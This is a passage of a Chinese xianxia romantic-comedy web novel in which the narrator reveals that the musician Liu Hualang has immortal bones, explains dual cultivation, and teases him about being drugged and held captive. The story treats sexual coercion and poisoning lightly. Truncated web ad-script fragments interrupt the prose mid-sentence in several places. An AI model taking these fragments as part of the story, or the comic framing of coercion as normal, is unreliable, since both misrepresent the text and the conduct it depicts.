“后来郡主对我疏于防范,我终于找到机会逃出王府,摄政王就对我下了江湖追杀令,我被花铁铁给救了。” “那这是救命之恩啊。以身相许不是不可以啊……哦你继续说吧。”我见柳花郎脸色不好赶紧闭嘴。 “她救我就是居心不良,别有用心,我问她我身无分文,她为什么要与权倾朝野的摄政王为敌,拼死救我,她说……”柳花郎哽住,似乎难以启齿。 “她说什么?”我追问道。 “她说她图我身子,简直奇耻大辱。”柳花郎一脸羞愤。 我一脸难以置信,“嗯……摄政……啊那个我不是觉得你胡编,我就是有点疑惑,你说摄政王妹妹图你身子,花铁铁也图你身子,是南唐没有男人了吗?就你这瘦弱干巴的小白条,图……”我还没说完,柳花郎就将上身衣服扯开,唰的一下,一身干练结实的肌肉出现在我眼前,我迅雷不及掩耳之势,赶紧帮他合上,却直接将衣服扯坏了,穿不回去了,我只能尴尬坐正,一手扶着额头,挡住视线,一系列动作电光火石间,嘴巴也是没停,“你身啊快穿上吧确实可以图一下,也不用脱啊,衣服都撕坏了,哎呀……”人在尴尬的时候总是显得很忙,眼睛是,嘴巴也是。 “没关系,快意江湖。”柳花郎并不在意。 我不禁感叹道:“嗯嗯嗯,快意江湖,我觉得我原先就挺快意的了,哎呀,江湖代有才人出,一代更比一代快啊。” 这时平安醒过来,蹙着眉头,赶紧从韩燕熙怀里爬出来。端详了一下柳花郎,生气地问我:“长安,你又给他毒瞎了!?” 27. 仙骨 “嗯?没有啊,我有病啊天天随身带着毒药,你以为那毒就这么好做,信手拈来啊?”我一边回复平安一边看向柳花郎,只见他目不斜视,眼观鼻鼻观心,“你搁这儿装什么瞎?” 柳花郎双目淡然,道:“我,我从此不敢看观音。” “什么意思,几个意思,观什么音,不什么观音,跟观音有什么关系。”我一脸蒙圈,众人也都不明所以。 平安眼睛一转道:“哦,这是一个典故,讲的是梁山伯与祝英台,说祝英台女扮男装去书院读书,结识了才子梁山伯,有一年书院做祭祀活动,祝英台假扮观音,山伯不知英台是女儿身,却依然默默爱上了祝英台,所以从此……” 平安没说完我就怒不可遏,骑在柳花郎身上就打,“我叫你不敢看观音,我叫你不敢看观音。” “哎呀,别打了……”平安故事也不讲了,赶紧上前拉架却又无从下手,众人自然对柳花郎的挨揍喜闻乐见。 “啊啊啊,我看,啊我看……”柳花郎都给我打蒙了。我听他这样说又气得不行,又接连几拳“你看?我叫你看,我叫你看……” “那你说怎么看?” “平安是咱俩亲妹妹,怎么看,你自己看着办。” “我什么时候变成他亲妹妹了?”平安很是不解。 “刚才。”我从柳花郎身上下来。 “那他是咱大哥了?”平安问道。 “那不能,我弟弟,你哥哥。”我怎么可能让花铁铁有万分之一当我嫂子的可能。 平安噘着嘴巴,有些不情愿,我以为她不愿意要拒绝,正要给她解释让柳花郎做她哥哥是对她的一种保护,却听平安道:“不行,我不要当妹妹,我也要当姐姐。” “行!”必须行,哥哥弟弟都一样,都能保护你。 柳花郎眼见是一句话也插不上,最后一脸生无可恋。 “来叫声姐姐听。”平安摆出姐姐的谱。 柳花郎别过头去不肯叫,我马山不耐烦,“行了,走吧,回南唐吧。” “哎哎哎,我叫我叫。”柳花郎妥协,但是又做了一下心理建设,才慢吞吞,低声道:“姐姐。” “听不见。”平安不乐意道。 我见妹妹不高兴,立马责备的瞪了一眼柳花郎,“听见没,我妹妹说没听见。”说完又踢了他一下,见他还没反应,“赶紧,回南唐找你的花铁铁去。” “姐……姐姐。” 平安开心极了,“哎,好乖啊,呀这衣服怎么坏了,呀,针线也没带,回头姐姐给你补补,哦,回头姐姐给你买新的。” “还不快谢谢姐姐。”我拍了一下发愣的柳花郎。 “谢谢姐姐。” “好乖啊。” 柳花郎好生不情愿,“嘤嘤嘤,我怎么就成弟弟了,我一个大好男儿我,我……我都二十好几,快三十了我……” “还是一事无成。”我接着他的话头道,又故意拿话扎他。“让一群图你身子的女的追着到处跑?”众人哄堂大笑。 “你……”柳花郎果然语塞,一脸憋屈。 “给我们当弟弟不委屈你,我有个事思索再三,忍不住问你。” 韩燕熙闻言一脸,你有什么事能忍住?赶紧问吧,我们大家等着听呢。 我忽然想起来今晚实在放肆,本来坐在末席,这会儿都坐正中间——太子殿下正对面了,说话还越来越大声,刚才歌舞是平安主场,这会俨然我的主场,反客为主反得有点大逆不道了,还好太子一向仁慈,对我们颇为恩宠。便跪拜行礼对着太子道:“殿下,我们今天聒噪,打扰您游湖的雅兴,实在不该,可是我呢,自幼求知欲太盛,有些事情闹不清楚,怕是这一页翻不过去,以后日子都过不好了,要不……您继续听下去吧,就当个乐子?” 德王靖王一脸难以置信。 “啊呵呵,我怎么好让你过不好日子,你且继续,我们自是爱听。”太子端坐上位,像神明一样俯瞰众生,看着我们笑啊哭啊打啊闹啊,自己也开心。 “那我问啦?”这话本是对太子说的。柳花郎却等不及了,“什么事儿?” “我之前也对你耳闻,说是南唐柳花郎,遭到各大门派女弟子疯抢,我当时还没当个事,如今看来……那个那些追着你不放的女子是不是大多各个武功高强?” “你怎么知道,哇,那都说江南女子柔若水,骗人的,那南唐女子彪悍得很!”柳花郎说着扯了扯衣领。 我翻了白眼,“你就不想想,他们为什么追着你不放吗?” “难道不是因为……”柳花郎对自己的长相简直自信到自负。 “当然,肯定,不单单,是因为你皮相好,各花入各眼,哪能都喜欢你这一款,还疯抢。我们平安就喜欢阳刚单纯的。”平安赶紧点点头表示她家长安说的对。 “那……”柳花郎也想不到其他了。 “你失身给摄政王妹了是吧?”我话头一转。 “……嗯。”他显然有些窘迫。 我边思考边自顾自道:“那她是不是一开始的时候生龙活虎,欲罢不能,后来渐渐求欢的次数越来越少,人看着还越来越憔悴,你却正好相反。” 柳花郎不好意思极了,“哎,说这些不好吧,这么多人,多那啥。” “那啥个屁。”我忽然想起花铁铁的所作所为,又生气又失望,说话的语气也不好了,“这个花铁铁,居然瞒着我,就我这副残躯,就算知道了还能跟她抢似的。你,躲那么远干啥,我又不能把把你怎样,过来,别人都不告诉你,我告诉你,你可欠我一个大人情,将来得还哈。” “……嗯,好。”柳花郎慢慢坐近。 “把上衣脱了。” “不好吧。”柳花郎是给那些女人吓怕了吧。 “不是快意江湖吗?”我将他上衣一扯全脱了,平安侧头躲避。我运送真气到指尖,在柳花郎眉心轻轻一点,只见他周身泛起像鱼鳞又像飞羽一样的纹身,闪着蓝粉色的荧光。 “这是什么?”众人惊问。 “哇,你的纹身像萤火虫一样一闪一闪的。”平安忍不住看了一眼,她喜欢一切美好的东西,不由的惊叹。 “果然啊果然,我就说天下男人这么多,没道理疯抢,哈哈哈,天生仙骨,不过啊,在别人眼里你当然是一个双修的绝世神品,在我眼里你简直就是个大仙丹啊,啊哈哈哈,花铁铁这个王八蛋,得了这么宝贝,居然一点风都不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 撒给我。她不仁就被不能怪我不义啦,啊哈哈哈,大仙丹,这么大个仙丹,落我手里喽,啊哈哈哈哈……”我张开双臂,开怀不已。 柳花郎听到自己天生仙骨都没敢高兴,只一脸恐惧和无奈,“你的意思,我能不能理解成,我在别人眼里我还是个能什么双修的人,在你眼里就是个大药丸,你要吃我?” “哎,那不能,那不和鞑奴人一样了。不过把你放进炼丹炉里,炼上个七七四十九天,炼成仙丹服用了还真能长生不老,但是那都是几百年前的仙术了,我也不会。你在我手里也没啥用,顶多就是给花铁铁显摆显摆她的心肝宝贝落我手里了。哎呀,竟然是通体仙骨,一根废骨也没有。”我又要仔细观摩他的身体,啧啧称奇。 “那我岂不是能修仙,能成仙啦。”柳花郎也张开双臂细细观摩自己,他从来没见过这么美丽的身体。 “哎,那那些姑娘们都疯抢你,那你不就跟唐僧一样?金蝉子转世?”平安忽然兴奋道。 “哦,你还真别说,那些女的真的跟女妖精一样,老吓人了。”柳花郎不想回忆过往,赶紧摇摇头。 “那你要是做仙人了,你可别忘了姐姐我哈。”平安一脸谄媚,讨好柳花郎,“你给我弄点长生不老,永驻青春的灵丹妙药啥的哈,什么驻颜丹啦,避水珠啦,还有那些个仙家法器啥的,隔三差五下界来看看我哈。” “你看你那没出息的样子。”我白了一眼平安,对柳花郎道:“来张嘴。”说着我把一个小药丸扔进他嘴里,他咽下去,才反应过来,心有余悸,摸着喉咙问:“什么东西?” “好东西,来,我教你一句心法,你试着调息,对着湖面打一掌。”说完,在他耳边耳语几句。 柳花郎闭目调息,然后向着画舫窗外的湖面轻轻打出一掌,水面立即炸出一个水柱,柳花郎兴奋不已,“哇呜,我这么厉害?”众人也都惊叹。 “果然仙骨!哼!”我很不高兴。柳花郎一发不可收拾,我脸色越来越不好,“行了别打了,省省吧,适可而止吧,没看着我嫉妒的要死吗?” 柳花郎正在兴头上不肯作罢,走出船舱,站在船头,朝着水面不停地施展。一边打水柱,一边还吟诵了一首……平安说是顾城的诗,我依稀记得,好像是:“黑夜给了我黑色的眼睛,我却用它寻找光明!” 我想那是他恢复视力后,抑制不住的激动。我坐到惠王身边,一脸不开心,平安却开心的不行,站在柳花郎身边,对他崇拜万分,极具溢美之词的夸赞。我好生气愤,噘着嘴嘀咕:“打水柱谁不会一样,我打得更好!哼,就当给我妹妹放烟花了。” 过了一会儿,柳花郎一脸疑惑的回来,“哎,我怎么打不出来了。” 我喝着惠王的茶,不紧不慢的道:“花铁铁给你的内力,你用完啦啊!” “内力还能用完?” “对啊,你的内力是她渡给你的,又不是你自己筑基修炼的,平时呢就是强身健体,要是用上心法使出来呢,就算花铁铁这么舍得,你呀也会一不小心就用完了。哎呀花铁铁可真是舍得,我刚开始还有些忌惮你,还得借助药物压制你,这么看来都多余浪费,哎呀好可惜,这么深厚的内力,打了几个水花,没啦。” 28. 双修 “你,你不早说!”柳花郎后悔不迭。 “我说了啊。” “什么时候?” “就是我说我要嫉妒死了,叫你行了别打了,省省吧,适可而止啊?” 柳花郎简直气死了,“你,你心眼子是真多……” “继续说,说完我转站花铁铁。”我一边倒茶一边冷声道。 柳花郎随即转了话头,似乎找到了人生方向,“那我修仙自己筑基修习真气吧,天生我材必有用,我就知道我一定是个大材,你再教我几句心法。” “啊哈哈,我可就在这里等你好半天了呢,”我坏笑,心里简直要乐死,真想知道他一会儿会怎样,啊哈哈哈,不等他一脸期待上前询问,我道:“哎呦,元阳都给人泻了,金身都给人破了,才想起修仙啊,趁早放弃吧,好好当你的乐师吧。啊哈哈哈哈……” 众人也都被我引得哈哈大笑。 “啊?!”柳花郎简直要死。平安急切地问:“真没戏了?” 我眼睛一转,一边认真思考,一边道:“我想想你还有没有救,我师父说老唐盛世之后逐渐没落,九州大地进入神隐末法时代,万神隐,诸法灭,但是几百年来,人间尚存修行门派,有的演变成修真门,修炼真气,道法,也就是走的修仙一路,但都遁世隐居。有的代代传承修炼武功内力,就是咱们这些常见的武学门派。我师父呢是两者兼修,我多多少少也了解了一点皮毛的皮毛,略微知道一点。 这天生仙骨其实在末法时代还有不少存世,一百年前还有中兴之相,若非大乱战,未必不能恢复神光,可是大乱战奴人入侵,修真门和寻常门派都入世抗敌,奈何奴人太多,终究寡不敌众,不少落入奴人手中,奴人不懂修行,却知道天生仙骨是好东西,也不懂分辨,就只知道吃人,虽然最终遭遇天谴,但江北仙骨到底折损殆尽,男仙骨可能尚存,女仙骨如今可能只有江南还有,但是她们都已隐匿,凡尘俗世几乎找不到。 你这傻子横空出世,入了红尘,应该就是你啥也不知道,以为自己是个肉体凡胎,成年之际仙骨觉醒,就让人盯上了。仙骨修行和我们常人修行不一样,向来是密不外传,尘世只有老唐李氏还有传承,不过到了南唐就没落了,现在都凋零了,摄政王妹应该是从皇室那里得了一点秘法一知半解,抓了你这仙骨就着急双修,结果被反噬,让你给采阴补阳了,前两年摄政王求请了好几次苏和,百般讨好,极力邀请他去南唐,大概就是为了他妹妹的事。” 柳花郎若有所思道:“对,最后苏神医也没去,摄政王大怒。我就是那个时候逃出来了的,又……落入虎穴。” “切,一个破摄政王,我们大汉子民凭什么给他脸面,他也就只敢怒不敢把我师兄怎么样。”我不屑道:“花铁铁应该也是一知半解,不过她比摄政王妹多了个心眼,没敢贸然双修。那如此看来,也不是你有骨气,才幸免于难。” “……” “本来你可以按照我们凡骨的心法修行,威力……毕竟是仙骨,刚才你也见识了。”说到这里,我还是抵不住心中的嫉妒。“但是呢,你的金身破以后,你原本应该是有了摄政王妹的内力,只是你自己不知道,只以为自己越来越身体强健,花铁铁逮住你以后,把摄政王妹的内力又给你抽出来了,那一阵子你应该虚弱的不行,形容枯槁,所以她十万火急给我写信说她的情郎身体多么多么羸弱就要不行了,说要是死了,她就殉情,再也不和我做朋友来要挟我,迫切需要一些强身健体的灵药救治,我当时就觉得花铁铁是年少贪欢,不小心把你身子弄坏了,亏空的很了,大概要精~尽人亡了,还以为单纯的给你壮阳,虽然没舍得给你配多么贵重的药,但也把千年的火灵草给你了,我就那一颗呢,为了朋友情郎舍出去了,结果还给人背后说闲话,还给人蒙在鼓里一点不透风。唉,不过呢,这份恩情是花铁铁的欠我的,倒也不用你还,你别担心。” 柳花郎像是松了一口气,“我说怎么那时候一下子病弱的不行,原来……这个花铁铁还真是个王八蛋。” “你这仙骨毁在两个女人手里了。本来你是可以单修的,但是摄政王妹改了你的命格,破了你的金身,从此以后你要修仙,就只能双修。花铁铁把你仙根打断,把摄政王妹的内力抽出来,又用自己的内力锁住了你的仙根,除非你再次重塑仙根,不然你以后就只能跟花铁铁双修,若强行与别人修行,就会砰的一声,爆体而亡。所以花铁铁根本就不怕你逃跑。” “我滴天爷啊。”柳花郎真的想死了。 “没关系啊,反正你现在已经把内力消耗完了,安心做个凡夫俗子娶妻生子还是可以的。” “你是不是知道的比她俩都多?那要是正常双修怎么修?”知道自己绝世仙骨,柳花郎怎么肯甘心放弃。 “和花铁铁啊?” “怎么可能?绝对不可能,只是想了解一下。” 我这人呢就是直肠子,什么都藏不住,我感叹了一番,见平安一脸认真的等着我继续说,问道:“你也想听?” “嗯。” “那我必须说说,正常双修就是你们先同房,你会不自觉地采阴补阳,然后配上心法修炼,仙骨修炼,成就可不是一星半点的事半功倍,约莫半日就小有大成,夜里你们再双修,你充盈的真气会自然渡给仙侣,仙侣自行采阳补阴就可以了,日复一日,年复一年,到时候你们修为大增,就一起得道飞升啦。不过这个双修除了看情分,也是要看双方人品的,不然一方就成了另一方的踏脚石,飞云梯,成了真气贮备袋子了。” 众人闻言,明白其中厉害,纷纷点头。 “你怎么什么都知道?” “那是因为我什么都说啊。你以为南唐那些女的当中就没有明白人?” “那双修心法……”柳花郎问道。 “师门倒是有,但我没学。” “你怎没学啊?”柳花郎甚是懊恼,居然有些恨铁不成钢。 我去,通常都是我这样看别人好吧,“我为什么要学?” “……也是。”柳花郎有不经意上下打量了我一下。 我顿时火冒三丈,“你,滚!太子殿下面前我必须克制。你给我记住了,是殿下救了你的命。滚,快滚!” 远处传来暮鼓声,再有一个时辰就要宵禁了,宴会在欢声笑语中结束,船还没靠岸,就看见岸上除了原来留守的人, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还另有一行人等在岸边,站在为首长官身边的是苏和的弟子。 船还未挺稳妥,他们便行礼问安,苏和弟子上前对着站在甲板上等待下船的我们,诉说缘由,原来是梁王郡主的马车翻车了,郡主身上多处撞伤,脸上也有划痕,需要祛疤药。苏和那里可以现配,但是要到明天,郡主等不及,想着我这里还有,所以就来求取。 下午平安逛街是有师侄跟着的,他们也知道平安和郡主的事,也知道我和平安的关系,更知道我对妹妹是出了名的偏爱。 我居高临下的看着那些跪在地上等待拿药的侍卫,太子并没有让他们起来,是在给我们面子。我看了看平安,平安一脸淡然,看不出悲喜,顿了一会儿才向我点点头,于是我从怀里取出药瓶扔给师侄,师侄接过去转手交给梁王侍卫,侍卫们感谢一番,就急匆匆给太子王爷们行礼告辞。 平安看了一眼对他一脸探究的韩燕熙,不屑道:“怎么?想不到我心胸这么宽广?长安是医者,在他眼里病人是不分高低贵贱也不分恩怨情仇的,我自然不会在这上面为难长安。” 大家一边下船一边对平安的言论赞叹有佳。下了船,行礼告辞,各自回去。柳花郎告别靖王,和我们一道。德王和靖王表示希望三日后的夜宴上还能欣赏到平安和柳花郎的歌舞,太子也特别下了邀请,平安柳花郎欣然谢恩。 韩燕熙纠缠着平安迟迟不肯上马车跟太子离去,太子脾气好就等着。 “平安你刚才说的真好,是我肤浅了。” “怎么,一直以为我是个毫无胸襟毫无气度只会耍脾气的笨蛋草包美人吗?我啊,多的是你不知道的事,以色侍人能得几时好,我虽然爱惜自己的容貌,但却从来也没想过仰仗这份美丽,我啊,就算年老色衰,也依旧是郑清的心头好。你不是总问到底郑清有什么好,你到底哪里比不过他吗?我今日可以告诉你,在他面前我可以不用带着围帽遮掩,随时随地都能像今日这般肆意歌舞,不用担心被觊觎,被肖想,你口口声说爱我,可是我只觉得你万般纠缠,只是看上我这副皮囊,肖想我,馋我身子罢了。” “我没有……”韩燕熙刚要反驳,却住了口,不得不承认他确实总忍不住肖想平安,他疯狂的爱她,总忍不住渴望她的身体,在梦里也想入非非。 平安对他的反应并不在意,“郑清,他对我敬重,怜爱,从不侵犯我欺负我,我在他面前自在,放松,他看我的眼神干净明亮,清清白白像……天上的星辰一样。”平安仰头看这天空的星河,一脸痴迷,仿佛那就是她的郑清。 我若有所思,道:“爱美之心人皆有之,你这般绝色,谁看了不心动,郑清看你的眼神也不应该太干净了,过犹不及,太干净了,那是不爱吧!” “啧!”平安低头蹙眉看着我,一脸嗔怪,觉得我甚是煞风景。 我不跟她对视,只看着我们的马车朝这边过来,淡淡的道:“百善孝为先,论心不论迹,论迹无孝子。万恶淫为首,轮迹不论心,论心无好人,平安,你可别为了骂韩燕熙一个人,把所有人都一杆子打死啊。” 太子在车里摇摇头呵呵笑起来,撩起帘子,亲自招呼韩燕熙上车。我们于是各自回去。 29. 别问 清晨的上林苑一切都朝气蓬勃,鲜衣怒马的少年奔驰而过,惊得林间小鹿,四散开来…… 长安城开了宵禁,太子并没有去青楼的打算,毕竟学好不容易学坏一出溜,他是未来的一国之君,不可以做这种不入流的荒唐事。 昨晚,我又入宫指点刘景心法,这会儿不太想动,便躲懒在树荫下百无聊赖的看书。太子他们观赏驯马。 郑清的驯马技术是一绝的。天赋这种东西有就是有没有就是没有。就像昨晚画舫夜游,平安和柳花郎的惊才绝艳,在座的都叹为观止,惠王还问我说,他们初次相识,怎得配合的如此熟稔,简直天衣无缝。 我说:“才华这种东西,天赋使然,有些人努力一辈子,费尽心血才得了一两句传世的诗词,便是天大的幸运,有些人随意张口就是惊鸿绝世,而且篇篇不绝,还不用费劲,也不用努力,轻松得如有神鬼相助一般。偏偏他们还不觉得自己多么出尘绝艳,也一点不在乎珍惜自己的天赋,也只有那些竭尽全力呕心沥血努力过的人,才知道天赋这种东西是多么让人羡慕不已,你说气人不气人?” 我看着远处和平安一起骑马过来的柳花郎,对昨晚的这番话更深有体会,真是让人嫉妒啊,天生仙骨。我要是有这条件,我仇早报了。 身边的惠王,看着我一副心不在焉的样子,道:“你平时看书最是聚精会神,今天是怎么了,看不进去?” 我没回他的话,将书放下,端起他递过来的茶杯,对下马走过来的平安道:“怎么回来了,郑清的驯马还没结束呢?” 驯马,驯战马,并不是将野性难服的马儿制服,可以让人骑就通过了。还要训练马儿跨越各种高度的障碍物,各种宽度的沟壑,要能听从指令,看懂手势,会列队,会仪仗,甚至要知道在什么时候噤声,配合一些军事行动,避免暴露,更要有平稳的心态和脾性,不可以轻易受惊,任意发狂…… 战马初步驯好以后,会送到骑兵营,和战士们一起加强巩固训练,最后人马合一,才能上战场奔袭作战。也正是因为战马的训练要求和标准如此严苛,所以我才最终放弃了小黑成为战马的决定。 每一行都有天赋异禀的人,上林苑战马场,那么多驯马师,不乏经验丰富的高手,可是年少的郑清却能脱颖而出,他驯马总是比别人看起来更加轻易,更具观赏性,再狂野的马儿到他那里都格外听话,就连至今不愿被驯服的小黑,在他面前也温顺许多。 平安和柳花郎给惠王见礼,才回复我道:“昨晚我们回去又聊了好久,凌晨才睡,这会都困了,来你帐子小憩一会儿。” 说完两个人给惠王行礼告退,哈气连天的进了帐子。 柳花郎一开始以为我也是穿越的,经过平安解释才知是误会,他有点可惜,我说,这种经历哪能人人都有,千年万年有这么一个就已经是天大的幸运了,你和平安还能遇见,这得是多大的天恩浩荡,有什么好可惜的。 他一想觉得也对。他的梦穿频率也不稳定,我让他下次梦穿回去的时候记得好好学习一下平安以前给我讲不明白的知识,他详细的做了笔记,并一一背诵下来,我见这般认真很是满意,又给他一百两银子,他开心的收下。 我忽然见远处人群里没有堂邑夫的身影,便很疑惑的帐子里的平安:“堂邑夫呢?” “不知道,刚还和我们在一起,和花郎聊得甚是投机,谁知一转眼就不见了,我还以为来找你了呢?没什么事,我先眯一会儿啦。”平安语气里都是疲倦。 我哦了一声,叫她好好安睡。 午膳后,太子和兄弟们在湖边吹着风戴着斗笠,甩赶钓鱼,有说有笑,其乐融融。柳花郎和平安他们忙完为蓬莱夜宴准备的歌舞曲目,就来找我聊天。 柳花郎这人还挺喜欢小团伙,私下聊天不喜欢惠王在场,就想打发惠王去跟太子他们钓鱼。我很是不喜欢他这样孤立惠王,没给他好脸色。 他一脸讪讪,解释道:“哎呀,我不是要撵惠王,我哪有那个胆子,就是有些事情我想跟你打听,不好意思让惠王听,恐污了贵人耳朵。” “那别说了,我也怕污了耳朵。”我这会心里有事,并不想和他多聊。 柳花郎赶紧道:“不不不,也没有那么污,就是一些关于修仙的事儿。” “还没死心呢?”我一脸嫌弃和不解,“你问吧,早问早死心。” “我就是想问一下,你不说我……我那什么仙根不是给花铁铁锁住了吗,我就想问问你,摆脱花铁铁,除了你之前说的那个打断仙根重塑的方法之外,还有没有其他方法,还有就是有没有可以和好几个女子一起修仙的心法。”柳花郎见我一脸不善,大约开口就是要大骂他,不等我发作,他立即抢着说道:“哎哎哎,别误会,我就是之前没梦穿过来的时候,看过不少修真小说,啊话本子,那都是一男多女的,就是好奇问问你,没想怎样?” 我不屑的笑道:“哼,都打算修仙了,连对一个人的贞洁都做不到!?什么话本子敢这么编排仙人,这种话本子你少看,你这人也是神奇,眼瞎残疾,倒还端正是个好人,眼睛刚能看见就乱勾搭,哦,吸引人,这会儿又满肚子花花肠子,身残志坚的我见不少,身坚志残……也就你了吧?修仙之路多艰难,能成功历劫度化飞升位列仙班的少之又少,那些清心寡欲单修的,都万里挑一,双修更是难上加难,本来神仙眷侣已经让世人艳羡不已,你还想着一男多女,海纳百川?你连下半身都不见得能管住,干脆就别想着双修了,不然浪费仙侣感情精力,修为道行不说,耽误人家成仙实在有损阴德,听我劝,你就适合老老实实当个凡人,按照你的心意活,逍遥自在,不枉此生。” 我不爱看他,所以说话的时候总看向别处,这柳花郎生的实在出尘,只要不说话,那副谪仙模样,总让人离不开眼,还好他嘴巴煞风景,一出声就破功。不然我要是看迷了,也丢人。不过我不看他主要因为反差太大,违和感太强,让人很不舒服,不如不看。 “我也就是问问,我,我真就是问问,我仙根都给花铁铁锁死了,我能干啥,就是单纯好奇,好奇而已。”柳花郎慌忙解释,叹了口气又道:“不过说不甘心是假的,唉,我总觉得我有机缘来到这个世界,怎么也是大男主的剧本,谁知一路被疯抢,被追捕,被囚禁,被毒瞎……好不容得知真相,原来我天生仙骨,出道就是巅峰,谁知,谁知却,却废在两个女人手里,我怎么甘心,我怎么不恨……”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳花郎悲戚不已,怨恨哀凉,我见太子一行人收杆正往这边来,赶紧打住他,道:“晚上回家再难受,这会儿不大合适。” 他顺着我的视线,转头看了看太子一行,赶紧拂袖擦擦眼泪,喝了口茶,平复心情。平安十分同情他,又小声安慰了几句。 太子带着兄弟们回前面大帐休息品茗,帐子中传来他们兄弟的说笑声。 我忽然想起一个事儿,就一脸认真地问柳花郎:“我有个疑惑,想问问你可以吗?” 柳花郎想也不想道:“什么问题,你问吧。” 得到允许我一脸坏笑,十分开心,兴奋地摇头晃脑,惠王见我这样子,也不禁宠溺的笑起来,平安也一脸又要看好戏的样子。 谁知我刚要张嘴,柳花郎就一脸警觉地变卦了,他立马赶在我发声前拒绝:“你还是别问了,你看你那样子,笑得这么狡黠奸诈,看得我心里不踏实,肯定没好事。” “那你刚才都答应了,你这又反悔?”我立马不高兴起来,撅着嘴巴娇嗔道:“怎么好这样,出尔反尔非君子所为,你要这样,那以后有什么事可别找我了,给你的二百两赶紧还我,还有我的房子也赶紧还我,还有,你瞎眼的毒是我做的,但下毒的是花铁铁,解药你得还我,还有我给你解的惑,全都还给我,趁现在欠我的还少,咱俩赶紧两清。”我说说停停,想一样就让他还一样。 “你你,你这样,这不就耍赖吗?”柳花郎简直要憋气过去。 “我以前也是不会耍赖的,这不是刚学的吗,你教的!”我一脸无辜,“哦,忘了告诉你,我的天赋呢就是一学就会,我师父啊,太傅啊,夫子啊,凡是指点过我的都这么夸我,赶紧还……”说着我伸手朝他要,一脸你不还,你死定了的逼迫样子。 “你你你,你这也太说不过去了啊,那钱那房子还能还给你,解药我怎么还?还有最无理取闹的就是,那听进去的话怎么还给你?”柳花郎都慌了。 惠王和平安都憋着笑看着我们对峙。 “哼,那我不管,钱和房子我不要了,我就要解药和那些话,还我。” “你……我什么不好还你要什么是吧?那行,你问吧。” “好好好……”我闻言立马转了表情,一脸开心的坏笑着,附身趴过去,“那个你……” 柳花郎往后躲了一下,一脸被我抓住把柄不得不就范的懊恼,“你看你看,你那坏坏的样子,准没好事。” “肯定没好事啊,你身上能问出什么好事来!”我直言快语,见他又要插嘴,赶紧抢在他前头道:“快闭嘴,那个我有一事不明,嗯,就是你不是已经失身于摄政王妹妹了吗。” “嗯。” “那花铁铁又给你用了那么烈性的催,情,药。我就想不太明白,你干啥还誓死不从啊,你,别是……你是不是其实深爱摄政王妹,只是不愿承认?那般守身如玉,忍受媚药蚀骨之苦,其实就为了清清白白的给她留着,那我倒真是挺佩服你的,那……那你该不会是摄政王的人吧,是他派来大汉的细作,那还真是好一番算计,这一番周折,啧啧啧……啊,不对,摄政王再厉害,也算不到你和平安和我的这一番机缘,那你……到底在忍什么?” 30. 用手 “说完了?”柳花郎好几次想打算都被我无视,脸色跟着我的话变换,最后一脸生无可恋,放弃争辩。 “嗯。”我点点头。 “花铁铁,一个莽夫,一个粗鄙,粗俗,粗陋不堪的莽夫,她就不是个女人,她内心极其变态,她对我百般凌辱,百般折磨,竟敢对我用药,用各种药,包括毒药,催,情,药,我堂堂男儿,自强自尊,士可杀不可辱,如此折辱,我肯定誓死不从。”柳花郎甚是坚决,我甚至觉得那一刻他威武高大,英俊挺拔,竟生出崇拜之情。谁料这厮帅不过一瞬,旋而冤屈幽怨的像个小妇人一般,哭诉道:“哎呀,你是不知道啊,那个花铁铁,她简直和女人不沾边,魔头啊大魔头,太残暴了,太残暴了。” “花铁铁还行吧,你啊翻来覆去就那些,暗戳戳的好像似乎把我也说进去了,你闭嘴,我还没说完呢,那你倒是说说具体的啊,怎么?脸红啊?开不了口啊?你又放不下面子,不肯说说细节让我们身临其境一下,既如此我们怎么相信你,怎么判断你罗列的那些罪名是否属实?花铁铁我又不是不认识,手段是强硬,但也不至于残暴,她生的虽不如我妹妹,但怎么就和女人不占边啊。”花铁铁毕竟是我的好朋友,有人这么说她我还是很不愿意的,“哦,就摄政王妹是女人呗?那摄政王妹胸大腰细屁股大,肤白貌美大长腿,媚眼如丝柔若水,你就从了呗?” “哎呀,你想什么呢?我说的不是身体,我说的是脾气秉性和灵魂,那花铁铁就是彻头彻尾的莽夫粗汉,对我简直毫无怜惜,摄政王妹虽然仗着权势强迫我,但……怎么也还能忍受。花铁铁……细节我肯定死也不说,你激将也没用,以后再也不要跟我提她,我一听着她名字我就要疯。” 我看着柳花郎,综合自己对花铁铁的性情和作派,心里大概了然,男人最爱面子,花铁铁那个大咧咧肯定伤人自尊了,“哎呀,这个花铁铁,我就以前也跟她聊过这个话题,也多次劝说过她,她还真是一个字也没听进去,有些男人嘛,狗,就得顺毛摸,她非是不听。”我一脸无奈地摇摇头。 惠王听了这话挑眉看了我一眼,没说话,也不知道在想什么。平安捂着嘴巴笑。 柳花郎回过味来,但有些不确定,问:“狗?有些?我是有些……是,是说我吗?” “没有,说的花铁铁。”我回复他,又接着感叹道:“哎呀,那你那催,情,药到底怎么解的?”我真是好奇死了。 “我忍辱负重,我……细节就是,我,就当着花铁铁的面,用手……我要羞辱她,我要她知道,我就算用手也不碰她一根头发丝。”柳花郎这不要脸的话说得露骨,倒还挺悲壮的样子。 “你不是死也不说细节吗?这算什么细节?就你这叙事能力,写小说得饿死!”我真是对这个男人无语凝噎! 惠王忍俊不禁。柳花郎被我怼的捂着心口,额角青筋一跳一跳的,好一会儿才缓过气来。 平安听了柳花郎的话不禁脸红,听了我的话又同情又忍不住笑了笑,但很赞同柳花郎的话,稍稍羞涩,道:“就是,我以前看话本子就觉得这事男人好解决,那些中招的,其实都是原本有心,又不好自捅窗户纸,便借着催,情,药之名,顺水推舟,水到渠成,哪有什么被人逼迫就范之说。” “对吧对吧?”柳花郎难于知己,感觉自己对比那些屈服药物的男人,简直高洁神圣。 